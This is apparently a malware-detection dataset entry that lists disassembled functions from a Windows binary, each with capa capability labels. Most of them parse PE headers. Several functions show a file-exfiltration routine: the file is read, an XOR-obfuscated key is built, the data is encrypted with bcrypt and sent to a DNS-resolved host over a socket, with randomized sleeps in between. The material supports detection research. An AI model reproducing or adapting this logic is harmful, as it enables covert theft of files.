joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002190
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400021dd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400021d4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400021df
add rax, 0x28
cmp rax, r9
jne 0x1400021c0
xor eax, eax
ret

Function at 0x1400021e0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002270
mov rdx, qword [0x140004390]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000225e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000225e
cmp word [rax + 0x18], 0x20b
jne 0x14000225e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002270
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002249
add rbx, 0x28
cmp rbx, rdi
je 0x140002270
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002240
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002280
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004390]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400022a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400022a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400022a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400022fd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400022f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400022a0
add rax, 0x28
cmp rax, r9
jne 0x1400022e0
xor eax, eax
ret

Function at 0x140002300
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004390]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000231f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002328
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000231f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002340
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140004390]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002360
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002368
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002360
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400023b0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400023a7
test rcx, rcx
je 0x140002360
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002398
xor eax, eax
ret
Function at 0x1400023c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004390]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400023df
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400023e8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002400
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004390]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002420
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002428
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002420
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002420
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002474
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002480
add rdx, 0x28
cmp r9, rdx
jne 0x140002460
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002490
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140004390]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400024b2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400024c0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400024b2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400024b2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400024b2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002515
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002528
add rdx, 0x28
cmp rdx, r10
jne 0x140002500
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002537
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002547
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000251e
test ecx, ecx
jg 0x140002530
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140002f90
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140004b20
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140004b20
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140003000
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000a0a4]
mov rbx, rcx
test esi, esi
jle 0x140003130
mov rax, qword [0x14000a0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000304b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400030d5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140003030
mov rcx, rbx
call fcn.140003a50
mov rdi, rax
test rax, rax
je 0x140003152
mov rax, qword [0x14000a0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140003b90
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000a0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140003137
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400030ce
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400030e0
add dword [0x14000a0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000a0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400030ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002f90
nop dword [rax]
xor esi, esi
jmp 0x140003058
mov rax, qword [0x14000a0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002f90
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002f90
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400036c0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000a100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000a0e0]
test rbx, rbx
je 0x14000371c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003713
test rsi, rsi
je 0x140003713
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400036f8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140003a50
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140006b10]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003a70
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003a78
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003a70
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140003acd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003ac4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003a70
add rax, 0x28
cmp rax, r9
jne 0x140003ab0
xor eax, eax
ret

Function at 0x140003ad0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006b10]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140003aef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003af8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140003aef
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003b90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006b10]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140003baf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003bb8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001000
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x60]
mov r12, r8
mov rsi, qword [rbp + 0x70]
mov r14d, edx
mov rbx, qword [rbp + 0x78]
mov r15, rcx
test rcx, rcx
je 0x1400011bf
test edx, edx
je 0x1400011bf
test rsi, rsi
je 0x1400011bf
test rbx, rbx
je 0x1400011bf
movups xmm0, xmmword [rax]
and qword [rbp - 0x28], 0
lea rdx, [0x1400085d0]
and qword [rbp - 0x30], 0
lea rcx, [rbp - 0x28]
xor r9d, r9d
xor r8d, r8d
movdqu xmmword [rbp - 0x20], xmm0
call qword [sym.imp.bcrypt.dll_BCryptOpenAlgorithmProvider]
xor edi, edi
test eax, eax
sete dil
test eax, eax
jne 0x14000119b
and dword [rsp + 0x30], eax
lea rdx, [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
xor r9d, r9d
mov dword [rsp + 0x28], send
xor r8d, r8d
mov qword [rsp + 0x20], r12
call qword [sym.imp.bcrypt.dll_BCryptGenerateSymmetricKey]
xor edi, edi
test eax, eax
sete dil
test eax, eax
jne 0x14000119b
mov rcx, qword [rbp - 0x30]
lea r12d, [rax + 0x10]
mov dword [rsp + 0x48], 1
xor r9d, r9d
mov qword [rsp + 0x40], rbx
mov r8d, r14d
and dword [rsp + 0x38], eax
mov rdx, r15
and qword [rsp + 0x30], 0
lea rax, [rbp - 0x20]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rax
call qword [sym.imp.bcrypt.dll_BCryptEncrypt]
xor edi, edi
test eax, eax
sete dil
test eax, eax
jne 0x14000119b
mov edx, dword [rbx]
lea r9d, [r12 - 0xc]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edi, edi
mov qword [rsi], rax
test rax, rax
setne dil
test rax, rax
je 0x14000119b
mov ecx, dword [rbx]
xor r9d, r9d
mov dword [rsp + 0x48], 1
mov r8d, r14d
mov qword [rsp + 0x40], rbx
mov rdx, r15
mov dword [rsp + 0x38], ecx
mov rcx, qword [rbp - 0x30]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x20]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rax
call qword [sym.imp.bcrypt.dll_BCryptEncrypt]
xor edi, edi
test eax, eax
sete dil
test eax, eax
je 0x14000119b
mov rbx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
and qword [rsi], 0
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x1400011aa
call qword [sym.imp.bcrypt.dll_BCryptDestroyKey]
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400011bb
xor edx, edx
call qword [sym.imp.bcrypt.dll_BCryptCloseAlgorithmProvider]
mov eax, edi
jmp 0x1400011c1
xor eax, eax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140006060
add rsp, 0x80
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1400011e0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get file size
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2f], rax
xor esi, esi
mov dword [rbp + 7], 0x34333231
and qword [rbp - 9], rsi
xor r15d, r15d
and dword [rbp - 1], esi
xor ebx, ebx
and qword [rbp + 0x1f], rsi
or r14, 0xffffffffffffffff
mov dword [rbp + 0xb], 0x2d373635
mov r12, rdx
mov dword [rbp + 0xf], 0x34333231
mov dword [rbp + 0x13], 0x2d373635
mov byte [rbp + 0x27], sil
mov dword [rbp - 0x19], 0x31313131
mov dword [rbp - 0x15], 0x31313131
mov dword [rbp - 0x11], 0x31313131
mov dword [rbp - 0xd], 0x31313131
test rcx, rcx
je 0x14000130d
and qword [rsp + 0x30], rbx
lea r8d, [rsi + 1]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
test rax, rax
je 0x14000130d
cmp rax, r14
je 0x140001304
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, eax
xor ecx, ecx
lea r9d, [rsi + 4]
mov r15d, eax
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
mov rsi, rax
setne bl
test rax, rax
je 0x140001304
and dword [rbp + 3], 0
lea r9, [rbp + 3]
and qword [rsp + 0x20], 0
mov r8d, r15d
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, eax
test eax, eax
jne 0x140001304
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1400013d7
mov rax, qword [rbp + 0xf]
xor edx, edx
mov qword [rbp + 0x17], rax
mov rax, qword [rbp + 7]
mov qword [rbp + 0x1f], rax
mov cl, byte [rbp + rdx + 0x18]
mov al, byte [rbp + rdx + 0x17]
mov byte [rbp + rdx + 0x18], al
mov byte [rbp + rdx + 0x17], cl
add rdx, 2
cmp rdx, 0xf
jb 0x140001327
lea r9, str.___________:_.____
inc r14
cmp byte [r9 + r14], 0
jne 0x140001348
xor r8d, r8d
xor edx, edx
mov rax, r8
div r14
movsx eax, byte [rbp + r8 + 0x17]
movsx ecx, byte [rdx + r9]
xor ecx, eax
mov eax, 0xae4c415d
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x5e
sub ecx, eax
add cl, 0x20
mov byte [rbp + r8 + 0x17], cl
inc r8
cmp r8, 0x10
jb 0x140001355
lea rax, [rbp - 1]
mov edx, r15d
mov qword [rsp + 0x38], rax
lea r8, [rbp + 0x17]
lea rax, [rbp - 9]
mov rcx, rsi
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x19]
mov qword [rsp + 0x20], rax
call section..text
mov ebx, eax
test eax, eax
je 0x1400013d7
mov r8d, dword [rbp - 1]
xor r9d, r9d
mov rdx, qword [rbp - 9]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_send]
mov eax, ebx
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140006060
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x14000157c
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1360]
mov eax, 0x1460
call fcn.140006f80
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1350], rax
mov r15, r9
mov qword [rsp + 0x50], r9
mov r13, rcx
mov qword [rsp + 0x78], r9
xor edi, edi
mov dword [rsp + 0x40], edi
mov rdx, r9
lea rcx, [rsp + 0x58]
call fcn.1400017f0
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.140002e98
nop
mov r14, qword [rbp - 0x60]
mov r12, qword [rbp - 0x58]
cmp r14, r12
je 0x140001747
lea rax, [rbp - 0x40]
mov qword [rsp + 0x48], rax
mov r15d, edi
mov ebx, r15d
mov rdx, r14
lea rcx, [rbp - 0x80]
call fcn.1400017f0
nop
inc r15d
and ebx, 1
lea edx, [rbx + 0x1092]
mov rcx, r13
call fcn.14000572c
mov rsi, rax
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova r8, qword [rbp - 0x80]
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rcx, rbx
call fcn.1400060cc
mov rdi, rax
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova r8, qword [rbp - 0x80]
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rdx, rsi
mov rcx, rdi
call fcn.1400011e0
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
or dword [rbp + 0x1344], 0xffffffff
mov dword [rbp - 0x3c], eax
mov edx, 1
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 - 0x3c], eax
inc rdx
mov ecx, 0x270
cmp rdx, rcx
jb 0x1400016bd
mov dword [rbp - 0x40], ecx
lea rcx, [rsp + 0x48]
call fcn.140001a2c
mov ecx, eax
imul rcx, rcx, 0x1b59
cmp ecx, 0x330
ja 0x140001716
lea rcx, [rsp + 0x48]
call fcn.140001a2c
mov ecx, eax
imul rcx, rcx, 0x1b59
cmp ecx, 0x331
jb 0x1400016fb
shr rcx, 0x20
add ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp - 0x80]
call fcn.14000178c
add r14, 0x20
cmp r14, r12
mov edi, 0
jne 0x1400015ff
mov r15, qword [rsp + 0x50]
lea rcx, [rbp - 0x60]
call fcn.1400018b4
nop
mov rcx, r15
call fcn.14000178c
mov rcx, qword [rbp + 0x1350]
xor rcx, rsp
call fcn.140006060
mov rbx, qword [rsp + 0x14a8]
add rsp, 0x1460
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001a2c
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov r9, qword [rcx]
mov ebx, 0x270
mov ecx, dword [r9]
cmp ecx, ebx
jne 0x140001a97
lea r8, [r9 + 8]
mov r10d, 0x7fffffff
mov r11d, 0x9908b0df
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
and edx, r10d
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub rbx, 1
jne 0x140001a5a
mov ecx, dword [r9]
jmp 0x140001b65
cmp ecx, 0x4e0
jb 0x140001b65
lea rbx, [r9 + 0x9c4]
mov esi, 0xe3
mov edi, dword [rbx]
mov r10d, 0x7fffffff
mov r11d, 0x9908b0df
mov eax, edi
mov edi, dword [rbx + 4]
mov edx, eax
lea rbx, [rbx + 4]
xor edx, edi
and edx, r10d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [rbx + 0x630]
xor ecx, edx
mov dword [rbx - 0x9c4], ecx
sub rsi, 1
jne 0x140001abd
lea rbx, [r9 + 0xd50]
mov esi, 0x18c
mov edi, dword [rbx]
mov eax, edi
mov edi, dword [rbx + 4]
mov edx, eax
lea rbx, [rbx + 4]
xor edx, edi
and edx, r10d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [rbx - 0xd50]
xor ecx, edx
mov dword [rbx - 0x9c4], ecx
sub rsi, 1
jne 0x140001afe
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
and edx, r10d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
ret
Function at 0x14000572c
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x138]
sub rsp, 0x230
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x120], rax
and qword [rsp + 0x40], 0
mov ebx, edx
mov rsi, rcx
lea rdx, [rbp - 0x80]
mov ecx, 0x202
or rdi, 0xffffffffffffffff
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140005887
xorps xmm0, xmm0
lea rcx, [rsp + 0x20]
movups xmmword [rsp + 0x48], xmm0
mov edx, ebx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x54], 6
movups xmmword [rsp + 0x58], xmm0
movups xmmword [rsp + 0x68], xmm0
call fcn.1400058b4
cmp qword [rsp + 0x38], 0xf
lea rdx, [rsp + 0x20]
lea r9, [rsp + 0x40]
mov rcx, rsi
cmova rdx, qword [rsp + 0x20]
lea r8, [rsp + 0x48]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov rdx, qword [rsp + 0x38]
mov ebx, eax
cmp rdx, 0xf
jbe 0x140005815
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005810
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005810
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400060c4
test ebx, ebx
jne 0x140005881
mov rbx, qword [rsp + 0x40]
test rbx, rbx
je 0x14000586d
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140005881
mov r8d, dword [rbx + 0x10]
mov rcx, rax
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140005868
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rbx, qword [rbx + 0x28]
or rdi, 0xffffffffffffffff
test rbx, rbx
jne 0x140005823
mov rbx, qword [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp rdi, 0xffffffffffffffff
je 0x140005881
mov rax, rdi
jmp 0x14000588c
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.140006060
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x140005a80
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140005aba
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140005abf
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140005b08
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400083f0]
cmp byte [rcx + rax], 0
je 0x140005b08
dec r8
sub rdx, 1
jne 0x140005aee
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140006b30
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006b7a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006b7a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006b7a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006b7a
cmp dword [rcx + 0x84], 0xe
jbe 0x140006b7a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140006b7c
xor al, al
add rsp, 0x28
ret